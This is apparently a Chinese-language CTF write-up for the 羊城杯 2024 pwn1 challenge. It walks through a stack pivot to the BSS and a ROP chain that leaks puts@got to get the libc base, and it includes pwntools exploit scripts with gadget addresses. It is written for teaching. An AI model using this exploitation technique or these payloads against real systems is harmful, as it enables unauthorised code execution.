【羊城杯 2024】 pwn1

ctf
2.9k words

web1

main调用puts输出

看vuln

web1

这里应该是个read写入到var_38h位置 共可以写入0x40个(我的Cutter有点问题不显示具体函数名。

web1

var_38一共长度0x38 ,因为上面read读0x40个,所以只可以溢出到rbp的下一个8位,也就是正好覆盖返回地址。

web1

因为溢出长度不够干啥,所以这里考虑栈迁移到bss。

首先溢出覆盖到rbp给个bss的地址,然后返回地址再给个vuln的地址

这么做是为了,使得rbp直接在初次执行到最后的经过leave也就是mov rsp,rbp pop rbp,之后rbp pop到我们指定的bss的位置,然后再次执行vuln为了往rbp跳过去的bss的var_38部分写东西,方便再跳一次。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *

context(terminal=['tmux','new-window'])
p=gdb.debug('./pwn',"b main")
context(os="linux",arch="amd64",log_level="debug")


bss = 0x601200

func_vuln = 0x004006c4

payload = b'a'* 0x30 + p64(bss) + p64(func_vuln)

p.send(payload)
p.interactive()

执行完初次vuln的leave大约是这个样子,参数本身就是由rbp做定位的,所以也就跟着跑了到了bss,就像这里的var_38(Cutter里反汇编图表中的变量是+rbp的8个字节的,所以给的0x38和ida我记得有点区别,具体的偏移还是要看汇编,这里其实还是rbp-0x30)

web1

可以看到当前的rbp已经飞到指定的bss部分

web1

此时再进入vuln,我们开始再次进行写入,此时读入的就写到了跟着rbp,跑到了bss上的var_38那边此刻所内存的部分了。

因为vuln执行到最后的部分会执行leave所以rsp在这次mov rsp,rbp pop rbp会直接飞到rbp的位置也就是bss部分

(下图执行完mov rsp,rbp

web1

但是这里有个问题就是我们第二次在read部分写入的rop没法执行,因为rsp在这里而指令在var_38的部分,如果此时正常跑pop rbp的话rbp就跑飞了,同时rsp也移动不到指令的位置

所以我们要把此时rbp的部分覆盖到var_38当前的地址,使得他在执行完第二次之后可以飞到我们刚刚用read写入到bss的部分,也就是var_38的地址,至于为啥

web1

rbp飞过去的目的是为了让rsp能够过去,所以我们在溢出的8字节再给一个leave,使得rsp再去找rbp

web1

但是这里pop rbp的时候他又会因为我们填入的东西他再跑飞了,我们一会还要用它写入,所以再给个别的bss地址,让她一会再次调用vuln的时候又会在我们此刻指定的另一个地址进行写入,一会这里泄露完libc还要再用到他重复一遍同样的操作。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *                                                                                                                           

context(terminal=['tmux','new-window'])
p=gdb.debug('./pwn',"b vuln")
context(os="linux",arch="amd64")

libc = ELF("./libc.so.6test")
elf = ELF("./pwn")

vuln = 0x4006C4
leave_ret = 0x04006db
bss = 0x601200

pop_rdi = 0x0400773

puts_plt = 0x00400520

puts_got = elf.got["puts"]

ret = leave_ret+1

payload = b'a' * 0x30 + p64(bss - 8) + p64(vuln)

p.recvuntil(b'bit of overflow?\n')
p.send(payload)

payload2 = p64(bss+0x500) + p64(pop_rdi) + p64(puts_got) + p64(ret) + p64(puts_plt) + p64(vuln) + p64(bss - 0x38) + p64(leave_ret)

p.send(payload2)

puts = u64(p.recvuntil("\x7f").ljust(8,b"\x00"))

web1

他在执行完read之后,在还没执行leave ret之前是这个样子的,为了方便看我把leava拆解开了

web1

然后开始执行mov rsp,rbp,执行之后如下,可见rsp去找rbp了

web1

然后pop rbp rbp当前地址我们给他放的rbp-0x30的地址,所以她pop rbp就跳转到我们rbp-0x30的位置了,此时leave执行结束,同时rbp此时所处的就是我们利用read()写入的数据的开始位置。

web1

此时即便你笨如我也可以想到,如果此时要想让rsp移动到我们写入的,想要执行的栈位置,只需要在ret之后,让溢出的返回地址的8位覆盖为leave就可以rsp再一次去找rbp,等于通过控制rbp的返回到我们想要去的地址,在pop rbp后rbp去了那边后,再leave_ret就可以rsp移动到rbp目前所在的位置了,结尾的ret从而让rip也移动到rsp,让其开始正常执行我们写入的部分。

注:(需要注意的是pop rbp会让rsp+8,ret也是可以看作pop rip,可能大火都知道,但是还是提一下,也就是说ret过去的时候rip不会指向bss的地址,在leave中的pop rbp的时候就会越过,所以基础还是挺重要的..当时我刚学时候纠结好久,最后拆开来看leave才看懂为啥rsp+8的)。

web1

这里的话可以看到执行完leave中的mov rsp,rbprsp就过去了,因为写入的栈空间只有0x40个字节,换言之只够我们写8个8字节,并且其中有俩需要分配给一个rbp跳转以及一个leave还有一个再一次的vuln函数调用的

(因为我这一轮执行空间只够泄露libc拿不到shell,所以还需要利用vuln他再来一轮)

留给我们执行的只有8-3=5个地址空间可以利用,于是我拿它来做libc泄露了,接下来我们利用leavepop rbp,让rbp跳去下一个地址,让他在那边准备等待第二次写入。

web1

接下来的剧情就是获取puts.got的地址泄露,然后再一次执行到vuln,再另一个bss-0x500的地方再一次写入,因为拿到了基地址所以这次可以写入pop rdi /bin/sh system一条龙,然后vuln再一次执行完他里面最后的leave_retrsp就又去找rbp

web1

嘻嘻这里很简单,简单思考一下是什么呐